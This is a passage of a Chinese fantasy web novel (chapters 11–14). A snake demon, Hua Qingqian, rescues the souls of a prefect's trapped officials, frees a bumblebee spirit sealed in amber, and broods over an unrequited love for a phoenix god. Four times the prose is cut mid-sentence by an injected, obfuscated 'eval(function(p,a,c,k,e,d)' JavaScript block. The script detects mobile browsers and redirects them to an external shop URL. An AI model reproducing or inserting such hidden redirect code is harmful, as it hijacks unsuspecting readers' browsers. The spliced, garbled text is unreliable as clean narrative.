花清浅满不在乎地一挥手:“做菜是我的爱好,一是我自己就很爱吃各种美食,我给我自己做习惯了,多做一点给谁都是顺便。” “二是听说香染蛇君——就是我娘——她也喜欢做菜,我就总想着……如果香染没死,如果我们母女还有再见面的机会,那时我不想除了‘她为什么不陪我长大’之外无话可聊。” 提到香染蛇君,气氛总有些沉重,花清浅摇摇脑袋,换了个话题:“你真觉得我漂亮?” “真的啊。”玉京子理所应当地点点头。说实话,他就没见过比她还好看的妖,蛇形就那么好看,化人了也是千娇百媚,他说她美都不是夸赞,而是陈述事实。 花清浅扑哧一声笑出来:“不错,你的眼光可算大大地长进了!在蛇谷的时候,你还说我不漂亮,还不如丹梁呢,气得我骂了你好久的重色轻友。” 她总说起这条叫丹梁的蛇,玉京子记不起丹梁长什么样子,但他料想她肯定没有花清浅好看。他刚要开口,却听门外响起“笃笃”两声,好像有人在敲门。 两人正在院里的凉亭中用膳,闻声对视一眼,玉京子放下筷子,往外望着,但望不太清:“门外是谁?” 花清浅看都没看,只掐指一算,唇边就浮上一抹微笑:“是我的功德。” 最近没有生意,她正愁没钱使,也正愁要被天雷劈,都准备主动去街上给人免偿算命了,这却自动上门了一个。 “快开门,咱要干正经事了。”她道,“正好这桌菜还够加一双筷子,我去给这位贵客拿碗。” - 玉京子推开门,见外面站着的这人约莫三十岁上下,胡须飘然,气质不凡,哪怕身上穿的是街边可见的寻常布料,也自有一股浩然清气,便知花清浅所料不假,这果真是位贵客。 “公子请进。”他将人引进来,那人眼底似掠过一丝愕然,但很快一闪而过,跟他走到凉亭里,恰好遇上从屋子里拿碗出来的花清浅。 花清浅进屋不仅拿了个碗,还换了身白衣,长长的青丝绾于脑后,用一根银簪固定,看起来落落大方,透不出半点妖气,甚至还有几分沉稳。就算搬出天界的照妖镜来,她此刻在镜中的显形也会是一块有棱角的美玉,而绝不会让人想到一条蛇。 贵客一见到她立刻作揖:“清浅姑娘,久仰大名——” “诶,知府大人谬赞了,我哪有什么名气。”花清浅笑道,“大人来得这么急,没吃饭吧?正好我弟弟买来这些菜,我们还没来得及用,大人若不嫌弃,就先动筷吧。” 天大地大,吃饭最大;吃饭也是摄入灵力的一种方式,慕城水土又绝佳,花清浅从不错过任何一餐,就是知府也别想让她饿着肚子做事。 “姑娘怎知我是知府?” “慕城之内,谁不晓得暮松知府的英姿?”花清浅答道,把手里的瓷碗递给他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068731|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>知府欲言又止,看上去很是着急,根本无心用膳,但看花清浅吃饭态度坚决,还是从善如流接了碗。 知府明显食不知味,且奉行食不言、寝不语、不挑食的规范,只小吃几口摆在最近的那盘菜;而玉京子遵照花清浅给的那本《妖族入世基本法》,没有把握时坚决不开口说话,免得泄露妖机,也坚持沉默着干饭。 花清浅倒是有些随意的那一个,她咬下最后一口萝卜丝饼,亲切问知府道: “大人屈尊来此,是想请我做什么事?驱鬼、辟邪、招财还是除魔,我都能干的,银钱也收得不多,无论事情大小,都只要半钱银子。”事情大了,功德就多,银子就只是个添头了。 暮松放下筷子:“这……说起来姑娘莫要笑话,本官从前对这方面从未关注过,也分不清楚自己这究竟是惹上了鬼物,妖怪,抑或是邪魔。” “那就仔细说说,我帮您分辨。” 这慕城原本属于大潁,但大战之后,大穎败给了大焱,这慕城就划做了大焱境内。 暮松去岁来到慕城新上任知府,本想着取代旧知府会导致民怨沸腾,却不想百姓们对他夹道欢迎,原来他为官能廉的名声传到了这里,而上任知府是个坏的,百姓们辞旧迎新,高兴得不得了。 暮松没想过会受到这种欢迎的阵仗,人潮拥挤,马车都行不动,他干脆自己下了车,一面劝大家回去,一面保证他会当个好官,扯着嗓子喊了一路,才终于被护卫艰难地送到了府邸。 百姓们对他过于热情,往他身上送了不少花瓣、香囊等物,当日晚上要歇下的时候,暮松还哭笑不得地在衣襟里发现了一枚金黄色的琥珀。 “本官开始做梦,就是在收到琥珀后发生的。”他感叹道。 听他说到做梦,花清浅眸光一动,不过暮松正低头了口玉京子递来的茶,没注意到她的不对劲。 “一开始,本官只是梦到慕城以前发生的事,例如这里的官员如何大肆建庙立碑、中饱私囊,如何砍木伐林、破坏生态……” “本官以为日有所思,夜有所梦,也就没管。后来梦境发生了变化,有个女孩儿站在林子里哭。” “她家里人是城南参与建庙的工匠,当年盖楼所用的料子出了错,天花板塌方,把她们一家都埋了进去,她说她的魂魄被困在了某处,求我把她救出来。” “你救了?” “不,我没有。”暮松诚实一笑,“我好歹是本地官员,对慕城的佛寺、道观多少有了解。前任知府大兴土木是为了吞钱不假,但他吞的钱是香客的捐赠款,并没有偷工减料、弄出过塌方。” 梦中那女孩儿一说到这,他就察觉出了不对,但见她哭得可怜,便没有拆穿她,还多问了几句,想知道她到底有什么难处。 “那女孩儿是不是挺可爱的?”花清浅冷不丁问了句。 暮松有些尴尬:“姑娘……真是明察秋毫。” “我就知道。”她摇了摇头,男子嘛,在遇见一个足够可爱的女子哭得梨花带雨时,是可以抛下一切理智去同情的,哪怕这女子刚刚骗过他。 12. 第12章 那女孩儿名叫惜蜜,但除此以外,她也不肯向暮松透露更多底细,只一味要他救她。 暮松虽不大在意神鬼之说,但他生性谨慎周全,便留了个心眼,对她的央求不置可否,只先问具体要如何做才能救她。 他的梦境,就是从这个时候变得短促起来。 “怎么个短促法?”花清浅若有所思地问道,一小簇清水在她指尖盘旋,一会凝成一个小水珠,一会又变形成一根锋利冰针。暮松看她隔空摆弄水珠,对她的本事又有几分认识,认真开口回答。 “我是一年前开始做梦的,那时梦中能连续过完半日,就是一直过完半日的时间,这场梦才会结束。但近日惜蜜往往没说几句话,梦境就已经结束了。虽然每晚的梦还是能连上,可我有一种感觉,好像支撑梦的力量在逐渐减弱。” 花清浅挑眉一笑,说道:“大人很是敏锐。” “不敢在姑娘面前班门弄斧。”暮松谦虚几句,继续往下说: “根据惜蜜所说的办法,我要在梦中随她进入南城的废墟深处,从地下挖出一个瓦罐,把贴在底部的符纸用阴火烧毁。”这短短几句话,因为梦境的断续,硬是让她说了好几个晚上。 这个办法听上去就极其诡异,但惜蜜解释说,那瓦罐里装的就是她们一家的骨灰,符纸是用来镇压她们永世不得翻身、以免惊扰佛祖的,教他放心烧了就是。 “不过,就算她说的是对的,她们一家当真死于前朝庙下,且被当时官府压了下去,没有走漏风声,故而没人知道……那这方法也好像不大对。” 什么符纸,在梦里烧有什么用?若她真被埋在某个不见天日的庙宇地下,那就应该马上让他从梦中醒来,带上人马实实在在地将城南那块地翻个遍才是。 经过梦境中这么久的相处,暮松与惜蜜也算是熟识了,便没忍住将疑惑说了出来。她一听就变得气急败坏,横眉竖眼地道: “我这计划明明天衣无缝,你他奶奶的问这么多做什么!不想救人就直说,浪费你姑奶奶的时间……” 惜蜜骂骂咧咧数落了他一顿,还警告他“好自为之”,如果他不乖乖听话,再次入梦的时候,她就一定会用“很长很细、很厉害的针”给他“屁股上来两下”、“好好上一课”的。 她语气凶巴巴的,说出来的话却很好笑,威胁人像是小孩子过家家。 暮松原本没当回事,还准备下次入梦时教导她不许说脏话,可今日上衙时,他手下的两名同知和通判却都在同一时间出了事。 “当时我们正在前厅考察下官,他们二人忽然齐齐从椅子上栽倒,就此不省人事,请来的郎中也束手无策……我怀疑他们被下了毒,但二人的饮食毫无差错,最后还是他们的侍从不约而同前来告诉我,这两人昨夜都做了一个怪梦。” 花清浅好奇地问道:“他们都梦到了和你一样的内容?” 暮松摇了摇头,“那同知和通判没有对侍从具体说是什么梦,他们只说了那个梦很离奇。但我翻了他们的口袋,从里面找出了与我那枚极其相似的琥珀。” “所以你想到了惜蜜。” “是。同知和通判的事就算不是她做的,她也应该与此事有关。”暮松说道,“只是此女子能托梦与人,不知是妖是鬼,听闻姑娘是真神亲传,可否帮在下解惑?” 此刻玉京子终于吃完了最后一口小面,花清浅一挥手,碗碟筷子瞬间飞到屋内的水槽里,先前指尖盘旋的水珠自动到石桌上滚了一圈,桌面上立刻变得干干净净,只剩玉京子刚才倒的三杯热茶。 花清浅让收拾完台面的水珠滚到地上,思量着开口。 “那三枚琥珀呢?大人应该带了吧,拿出来我看看。” 暮松依言从袖间取出三枚鸽子蛋大小的金黄琥珀,放到她面前的石桌上:“姑娘请看。” 琥珀外表光滑圆润,呈水滴形,里面还分别包裹着一只小小的、胖胖的飞虫,花清浅眯眼看了看,认出这是熊蜂。 一道黑一道黄,毛茸茸肥嘟嘟的身体看起来挺可爱的,如果把这三块琥珀做成玩具,应该有好多小孩子喜欢。 她把玩着琥珀,手上散发出淡淡的蓝色灵光,感知着琥珀内部的气息。 “这几只琥珀里面封着的,是妖。”她不欲故弄玄虚,有了点眉目就开始跟暮松解释,“这两只琥珀封的妖都已经死了,但你的没死。不但没死,她的魂魄还离体了。” “如果我没猜错的话,出现在你梦里的就是这只熊蜂。” “传说这种小型飞虫族有一种秘术,能在梦中与人对话,进而影响人的神智,甚至占领人的身体。” “她叫你去翻什么破庙、烧符,其实这个行为重点不在于诡不诡异,而在于你是否肯做。只要你肯做,就是在梦中让渡出了身体的控制力,哪怕她叫你为她擦一下眼泪,你照做了,都算默认她夺取你的身体。” 暮松不解:“既然如此,她为什么要把让我做的事说得那么麻烦?还拖了好几个月?” “这一点我也想不通。”花清浅摇了摇头,将琥珀推还给暮松,看他依旧将之放在袖子里,不由问道:“大人不觉得害怕吗?那里面封的可是妖,有一只还是活的。” 暮松笑了笑:“惜蜜是妖,但我总觉得她不是坏妖。” “知府大人年纪不大,却为官多年,直觉应当很准。”花清浅意味深长道。她叫玉京子看家,自己与暮松坐上马车,一起去衙门看看那两名晕过去的官员。 慕城知府衙门不大,前方是官署,后方是暮松的府邸内宅,一座官府园林,以及一栋供其他官员的下榻之楼迎宾馆。 绕过精巧的亭台水榭,同知和通判就被抬在迎宾馆第一层的隔间里躺着,旁边围了郎中、侍从、家眷等人,挤得水泄不通。 暮松前去引开众人,他颇有威望,很快让躁动的家属们安静下来。花清浅趁机潜了进去,站在床前,探出灵力检查两位官员的状况。 过了片刻,安顿好家属的暮松也走了进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097827|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,问道:“这两人情况如何,还能醒么?” “还行吧,左右没有性命之忧。”花清浅道,她能感应到这两人生气还在,魂魄完整——“看来那两只熊蜂,对他们下手够轻的。” 熊蜂生性温顺善良,施展秘法干脏活也轻手轻脚的,可是幕后黑手对他们却没有这般慈悲,一利用完反手就把他们弄死了。 花清浅手里掐了个简单的法诀,往同知和通判太阳穴里分别拍进去一道灵力。暮松看着她的动作,问道:“这是?” “他们现在魂魄离体,身子是个空壳,容易被孤魂野鬼上身。我给他们上点清气,免得让两位朝廷命官给人夺舍了。” “目前还不知他们的魂魄在何处。”花清浅说着,抬头望了眼天色,“不过不急,今晚应该就能知道了。” - 是夜,万籁俱寂,一双透明翅膀气势汹汹扇着微风,以毁灭世界、摧毁一切的愤怒姿态降临到暮松的梦中—— “你改悔罢。”在惜蜜开口以前,暮松抢先说道。 “什么?” “我大焱皇帝是真龙天子,上神都认的,你现在谋害我们朝廷命官,会遭很重的天谴。”暮松情真意切道,“你改悔罢!速速放了他们二人生魂,也是为你自己积德。” 惜蜜愣在原地目瞪口呆,暮松叹了口气,花清浅会意,从藏身的树影处慢慢踱出。 惜蜜在花清浅的注视下浑身发颤,却没有立刻逃跑,而是尖声问道:“你怎么能进他的梦?你是什么人?” “我?我是灵力比你强千百倍的人。” 惜蜜毫不犹豫原地跪了下去。 “姐姐!我就知道这天杀的知府会去搬救兵,求姐姐救我!” 花清浅扶住她的身体,不让她磕头,看着她激动的神情,忽然有点想笑。 她有点明白过来,为什么暮松被她在梦中纠缠了这么久,却在今日才找人求助——惜蜜看上去太可爱了,根本一点威胁也无,要是有这么个小东西天天入梦讨她欢心,她也不会感到害怕的,甚至会期盼着小东西多来几次。 花清浅不习惯在他人梦中说话,指尖法诀一动,三人顿时都出了梦境,站在迎宾馆皎洁的月光下。 看见里间床上并排躺着的两个魂魄离体的凡人,惜蜜很自觉地交代犯/罪事实:“这两人不是我搞的,我只负责搞知府。” 花清浅好像听懂了,又好像没有听懂。她拉了下咳嗽不止的暮松,让惜蜜从头开始讲,同时注意一下用词。 “我本来住在南城,但那时当官的要盖佛庙嘛,我走得慢,就遭了殃,被一大团松脂盖住了,晕过去好久……再次醒来的时候,我魂魄就已经离体了,漂浮在空中,眼睁睁看着身体被封在琥珀里,被一个贼眉鼠眼的老道士拿在手中。” “同我一样的熊蜂还有许多只。老道士说,他救了我们,要我们帮他做事。后来我才知道,那老道是上任知府的门客,要我们帮他上现任知府的身,方便他重掌慕城。” 13. 第13章 “那老道逼着我们通过族中秘术钻人梦境,但那秘术其实早就失传了,我们只好摸索着自己钻研。” 熊蜂们没有身体和妖丹,只有魂魄,修炼起来很困难,惜蜜想拿回身体,却被老道拒绝了。 “他要拿着妖丹威胁我们,才不会轻易还给我们呢。那个老王八羔子!”惜蜜恶狠狠道: “琥珀封住的妖身很难复苏,要有九重天神火方能解,我们手上没有神火,就是偷了琥珀也解不得封印,还得去求他!” 花清浅眸色微微一动,说道:“他手上有芙蕖烈火?” “对!鬼知道他哪里偷来的。”惜蜜继续说道: “我秘术修习得最快,他就把我的琥珀放到了知府身上,想通过我夺他的舍。但我跟其他唯唯诺诺的熊蜂可不一样,我可会阴奉阳违、两面三刀了!” 暮松一直沉默着听到这里,忍不住纠正道:“那是阳奉阴违。” “你管我怎么说话!”熊蜂不悦地瞪他一眼,“那老王八羔子给我下了真言咒,叫我不能在梦中跟知府吐露出半句实情,否则就要自爆而亡。” 惜蜜就故意在梦里吓唬知府,想逼他马上去找神仙救命,好让她向第三人求救。 “我只是没有想到,这暮松知府看上去文绉绉的,胆子却居然那么大,我都把阴火说出来了,他居然还没有被吓得屁滚尿流——” 暮松惭愧地看了她一眼。 “不过好在,我还是等到了你。” 花清浅明白了:“那两名同知和通判的生魂,就在老道士手中?” “对,他叫我以此来筹码跟暮松知府谈判,让他速速交出身体。” 花清浅问:“那老道士现在何处?” “就在三条街以外的客栈里,魂魄在房里的架子上,用瓦罐封着。” 暮松立刻清点人手,随花清浅一齐出发,一行人潜行到客栈所在的那条街,花清浅察觉到什么,猛地一抬手,让暮松等人停在这里,顺便封锁街区。 “客栈里有种自爆的法术,凡人被波及到会形神俱灭。我先进去,你们在外边等着。” “姑娘小心。”暮松眉头紧锁道。 花清浅朝他一点头,攀附着墙面游蛇而上,没有惊动任何人。她小心来到惜蜜所说的那间房窗前,贴着墙根穿墙而过,里面燃烧的紫红蜡烛结成法阵,将一间上房映照得通体透亮。 法阵中间,盘坐着一个瘦小精干的老道士,他嘴里念念有词,正在加固着某个咒语的联系。花清浅听了一会,原来他把神火当做了命灯,神火不灭,他就不死。 知道芙蕖烈火的人少之又少,能熄灭它的人更少,老道一定以为自己的小命安然无虞了。 可悲的凡人。 花清浅瞄准他周身穴道,从门外的空气里里凝水成针,猛地朝他身上刺去。 那老道没有任何防备,周身大穴被刺,泄露出浑浊的灵力与生机,花清浅都懒得拿出法宝吸收,怕被他脏了灵气。 “什么人……”他倒在地上,艰难地吞吐着空气,片刻后,像是意识到再也起不了身,他眸光一暗,挥袖将最近一根蜡烛的火焰往某个角落引去。 花清浅岂能让他得逞,唇角一勾,一大团冰水把那根蜡烛浇在地上,老道还要引火,她干脆唤来客栈外的大缸,将满满一室的蜡烛全部浇灭。 “我、我这可是芙蕖烈火!你到底是什么人……如何竟能、竟能灭了神火!” “晚辈不才,正是灭神火的高手。”花清浅笑眯眯道,看老道垂死挣扎,有点像是猫玩耗子,这是跟某位恶劣的前任学来的,偶尔玩玩实力悬殊的敌人,心里非常爽。 不过再玩下去,外边街上的暮松就该急死了。她慢慢显出身形,顺着阵法行走,将危险的陷阱和术法一个个拔除,看得老道脸如死灰,最后清出了道,才朝外发出讯号,让暮松带人上来。 老道能在客栈弄出这等阵仗,客栈老板绝不简单。官府把所有相关人员都带走审讯,两名衙役按照花清浅的嘱咐,将装有魂魄的瓦罐小心抬走,最后房里只留下了暮松、惜蜜、花清浅三人。 “芙蕖烈火没了。”惜蜜叹了口气,“不过没关系,这些熊蜂本来也死得只剩我一个了……能不能解封身体,也不重要了。” 她飘到暮松身边,戳戳他的肩膀:“喂,把那块琥珀还给我!” 暮松从善如流地掏出琥珀。 “等等。”花清浅叫住他,“让我试试。” 她左手托着那小块琥珀,右手食指中指并拢向上,捏出一个精巧指诀,在左手掌心边飞快上下拂动三次,纤细的指尖在空中勾画出复杂的行迹,只见过了一会,灵光初现,有火花在她掌心的琥珀上冒出来。 “芙蕖烈火?!”惜蜜惊叹道,她睁着大眼睛看向花清浅,像是还要说什么,但没来得及,魂魄便被本体吸了进去。 花清浅控制着芙蕖烈火,以最柔和的温度慢慢烘烤琥珀,那琥珀并没有融化成树脂,而是一点点消失蒸腾在空中。随着琥珀的减少,被困在其中的小熊蜂翅膀逐渐舒展开来。 那老道的芙蕖烈火掺了杂质,只能吊他自己的命,根本救不了人。花清浅现下的法术才是万物复生之火——起码傅玄是这么说的。 “你会幻化出神火?!”惜蜜在她掌心逐渐苏醒,支棱起翅膀尖叫道:“你救了我——你是神仙!!” 惜蜜激动得从她手上掉下去变成人形,花清浅收回手,笑着解释道:“我不是神仙。我只是跟随一位司火之神修习过术法,恰巧学过如何变出这道芙蕖烈火。” “司火之神?这是哪位真神?” 小熊蜂真是对天界毫无了解。除了凤凰,还会有谁? 那时花清浅并不知道芙蕖烈火有什么大用,也不知道这神火火种有多么珍贵,她就是觉得芙蕖烈火特别漂亮,如果系一束在自己的发梢,看上去会与凤凰神君非常相配。 花清浅是水蛇,学起火系术法困难重重,时不时就会反噬到自己身上。但神君对她耐心指导,她便咬着牙学了下去。 在被烫伤无数次以后,她终于成功将一小簇芙蕖烈火系在了发梢,兴高采烈去找傅玄,却正好看见他在神宫门前,接下了云庭玉城鸟族圣女所赠的一束花。 傅玄对云庭玉城格外关照,又专门出借玉城火种,他与圣女的流言四起格外正常。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116204|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这不关别人的事,尤其不关花清浅的事——就算傅玄即刻迎娶圣女,她也只有旁观祝福的份。 但年轻的小花蛇才不管这些,她被内心酸涩的妒忌冲昏了头脑,飞上前去搅局,一时没控制住发尾的芙蕖烈火,险些烧到圣女送的花。为了保护花束,她手臂横亘在中间,又差点被花枝刺伤,搞得自己狼狈不堪。 傅玄看着她手忙脚乱施法,从头到尾没有出手帮她,最后很严厉地说道: “我教你芙蕖烈火,是叫你必要时唤出此火以救人救己,不是叫你打扮自己的。你以这火当寻常装饰,既辱没了这火,也辱没了我教你的术法!” 当时花清浅还有点庆幸,因为他只看出来了她“装点外表”,却没看出来她在吃醋——后者的罪过说不定比前者大得多了。 - “姐姐,姐姐,到底是谁嘛?”见花清浅不回答,惜蜜愈发好奇起来,扇着翅膀就往她身上挤。 花清浅受不了小熊蜂挤挤挨挨的作派,含混敷衍道:“不重要,反正是个真神。” “姐姐真厉害!不愧是我的救命恩人。我要对恩人姐姐以身相许!” 花清浅警觉地抬起头:“谁救了你的命?不要瞎说,我只是受人之托前来办事,救你属于任务。你真要以身相许,不如许给这位知府。” 无辜被提名的知府暮松:“啊?” “如今事成,你还欠我半钱银子。”花清浅顺势提醒他。 暮松今日走得急,没有带钱,如今天色又晚,于是说好明日一早把钱送到小院门口。 “姑娘为我城解决了大麻烦,收半钱银子太少了些。”暮松说道,“我愿每日给姑娘一两银子,只要姑娘同意来官府新部坐阵……” 花清浅问:“什么新部?” “如今世道颇乱,妖鬼横行,许多地方都自发招募了方士、道士乃至性情中正的妖来对抗这些邪门歪道,命为‘天法司’。” 暮松早就想组建本司,只是苦于人手良莠不齐,这才迟迟没有开部。如今眼见花清浅是个有真材实料的,他自然想把人才留住。 “天法司……”花清浅琢磨一番这三个字,还是摇了摇头,“算了吧,我没空。倒是这小熊蜂看着挺有空的,不如你把她招了罢。” 惜蜜立刻开口:“我也没空,我想跟着姐姐你!” 一只小熊蜂,跟着她一条蛇有什么用?花清浅刚想回绝,话到嘴边却想起来:“等等,你们族中秘法与梦有关,你一定对梦很了解吧。” 惜蜜点点头。 “我不想做梦,近年却偏偏多梦,曾试过种种常用办法,皆不见效。你能不能帮帮我?” 惜蜜骄傲地挺起胸膛:“自然可以。” - 当晚,花清浅将惜蜜给的安眠蜜一饮而尽,神思沉沉入眠,果然一夜无梦。 与此同时,长生界无量崖内,傅玄看着水月镜内再也改变不了一丝一毫的画面,黑眸中充满疑惑。片刻之后,他忽然整个人僵直在原地,理智说着不可能,羽尖却都因那个荒唐而诱人的想法颤抖起来。 深吸一口气,他猛然发力,疯了一般将浩瀚神识铺满整个外界。 14. 第14章 花清浅睡了很长、很香的一觉,第二日清晨还赖了会床,等到玉京子摆好早茶,香气飘了满屋,她才慢吞吞坐起来。 屋外传来暮松和惜蜜的声音,暮松在请惜蜜入驻天法司,惜蜜不同意,嚷嚷着道:“鬼才要给官府卖命!” 暮松沉默片刻,提起了另一个话题:“那块封着你身体的琥珀,是望柯道人在本官入职时趁乱塞给我的吧?只有那琥珀在我附近,你才能施展秘法。” 望柯道人就是那罪魁祸首老道的法号。 “不然呢,还能是鬼塞给你的?” “可那琥珀到底来历不明,万一被我扔了怎么办?” 惜蜜被他套了进去,顺着问道:“对呀!你怎么没扔了呢?” “因为我仔细看了那块琥珀,觉得里面那只毛茸茸的小团子很可爱。” 花清浅穿戴齐整走出去,正好看到惜蜜脸上两团的红晕。她顺手摸了一把,叹道:“哎,年轻真好啊。” “什、什么年不年轻的,反正我不会去给官府做事,死都不去!”惜蜜将口号喊得震天响。 “官府的饭香得很,能吃干什么不吃?”花清浅夹了个花卷,叫玉京子和其他人也坐下吃饭,一面啃一面劝她道:“你一介幼小妖修,遇见此等抱大腿的机会,该抱就要狠狠抱住,听懂没有?” 惜蜜囫囵点头,自从花清浅破了琥珀封印以后,说什么她都这个样子。暮松还是很规矩地用膳,等一桌人吃完后,他第一个放下筷子,给花清浅看了他带来的箱子。 整整一箱纹银。 “这不是本官给的,是那两名同知、通判给的。”他解释道,“本来他们魂魄归体后,争着抢着要来亲自道谢,但我怕他们打扰姑娘,他们就用这点银子聊表心意,托我转送姑娘。” 花清浅只大略扫了一眼:“那就放这吧。” “啊?就放院子里,露天?”玉京子震惊问道。 花清浅郑重点点头。箱子上还缠有未散去的殷勤谢意,送走惜蜜与暮松后,她挥袖打开箱子,里面齐整的纹银映在眼中,像是一个粗糙的沙盘。 她感应到空中灵气,微微一笑:很好,这次功德多得溢了出来,不仅能避雷避久一点,还能趁机算个卦。 “我-娘-是-不-是-没-死?”她对着天空默念,随后紧闭双眼,指尖泄出极微小的一股灵力,随意打在银箱内,过了会睁开眼睛。 六枚银锭在箱面排成一列,都是正面朝上,乾为天卦,有戏! 花清浅心中狂喜,这是她第一次有多余的功德朝天问自己的卦,卦相居然这么好?她赶紧重新盖上箱盖,问道:“香-染-在-哪-个-方-向?” 然而这次等她如法炮制睁开眼睛,就知道事态不对:空气中那股微妙的灵气已经散尽,她的功德用得差不多了。 果然,箱盖打开后只见纹银一片杂乱,半个卦都解不出来。 “好小气的天道。”她嘟囔着,“早知道就多要三百两的报酬了,反正才给这么点功德,不如让我多拿些银子……” “你就别说气话啦。”玉京子插话道,他看不懂她刚才的动作,却听得懂她现在说的话: “暮松知府看着没几个钱,你恨不得不要银子帮他,还帮他笼络惜蜜。你分明就是嘴硬心软,再怎么样也收不了高价的。” 花清浅眯起暖棕色的水眸,“我还是喜欢你刚遇见我那会战战兢兢、如履薄冰的样子。” 玉京子撇撇嘴,自顾自咬着块松糕进屋去了,根本没有被她吓到。 - 随着暮松一声令下,天法司很快有了眉目。花清浅过去看了一回,“天法司”部门就在府衙之后,暮松住处旁边,现有一名佛子任长官,一只梅花鹿以及小熊蜂惜蜜任司卒。 这日花清浅给惜蜜带松饼过去,却看到她一个人抱着膝盖坐在府衙花园的假山边,瞧着有些闷闷不乐。花清浅问她怎么了,她只顾着大嚼松饼,吃得两颊鼓鼓的,过了好一会才开口。 “昨日暮松有个表妹来找,总是变着法地给他送饭送茶,还说我不是人,不许我凑上前去打扰他们。呵呵,她以为我想找他啊?谁稀罕那个臭官,我留在这里是为了报恩好不好!” 花清浅皱眉:“她说你不是人?当着暮松的面说的?” “没有,她背着他说的。”惜蜜哼了一声,“人前人后两副面孔,她不去唱戏真可惜了。” 花清浅顿时想起一个久远的、快被她遗忘在脑海深处的身影。她不由得笑着摇摇头,“凡人女子怎么也这样,学这些不入流的招数……” “别担心,暮松不是那种有眼无珠的货色,他识得破这种招数的。”她笑够了说道,“你信我,他又不是苍御峻,他没那么蠢。” 小熊蜂听到那个名字,好奇地抬起头:“苍御峻?那不是西陆修为最深的妖尊,据说化作鹞鹰时上可与神一战么,他还蠢呀?” 没想到这厮名声这么响亮,连惜蜜都知道。花清浅干干笑了两声,想转移话题,却听她接着说道:“哎,不过他情路坎坷得很,据说他很爱他尊后的,但尊后用完他后,居然就扔下他跑啦,可怜那么强一个妖尊,一直伤情到今日——” 她再说下去,花清浅就要汗流浃背了。好在暮松及时出现,惜蜜这才意犹未尽地停下话头,故意背对着他鼓起嘴。 “惜蜜,我表妹已经回去了。”暮松哄道,“我知道她对你不好,她再也不会来慕城了,你放心。” “她怎么回去了?她不是逃婚来投奔你的么?” 暮松抬了抬眉毛:“所以我送她回去成亲了。” “她怎么肯回去的?” “她不肯。”暮松心平气和道,“我把她绑着送回去的。” 惜蜜还没反应,花清浅已经震惊了。她想不到,暮松看着这样克制知礼的一个人,对付起表妹来居然如此无情! 她一直觉得暮松与傅玄很有相似之处。两人都很正经,都很有悲悯风范,都心怀治下百姓,可傅玄绝对不会这样对待她讨厌的人。别说“表妹”之流,他连丹虺都不让她杀。 她站起身,看到暮松旁若无人、只盯着惜蜜的神情,忽然反应过来,是她迷障了。 ——这有什么好震惊的呢?暮松喜欢惜蜜,当然恶她所恶,这就是爱上一个人的反应,再正常不过了。 凤凰神君不偏心她,是因为他自始至终都不爱她。 这么简单,如此而已。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139157|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “姐姐,你想什么呢?”短短几句话,惜蜜已经被暮松哄好,她跳下山石,给花清浅手上塞了瓶蜜,“这是安神蜜,多谢你给我的松饼!” 花清浅被手中蜜瓶的触感拉回神,看着暮松与惜蜜吵吵闹闹地走远,勾起一抹苦笑。 - 花清浅没有伤神多久,如今有钱有闲,她遵守诺言,准备给玉京子做一桌他喜欢的菜。 玉京子想吃炸萝卜丝饼、油豆腐裹糯米、栗子炒鸡、芹菜炒豆芽,但家里没有鸡,也没有豆芽,只能去集市买点回来。 集市在慕城南郊,卖各色小菜与家禽的商贩都汇集于此,游人如织,还有来佛庙进香的香客、在佛庙暂住的书生,从早到晚都是一片闹闹嚷嚷。 玉京子提了一只鸡,觉得很是新奇——他入世不久,以前在山里捉野鸡很是费劲,但现在只需给出几颗铜板,就能拿到一只硕大的家鸡,连周身的羽毛都处理干净了的那种。 凡间就是好啊,怪不得花清浅要拉他在凡间久居呢! 他拎着这只光溜溜的鸡,与花清浅顺着人潮逛到下一处地摊。下一处商贩是卖碗碟的,摊主手艺不错,碗面上的黑鹰展翅欲飞,活灵活现,眼神锐利幽深。玉京子看着那黑鹰,觉得这就是自己眼中最神气的猛兽,不由叫住花清浅。 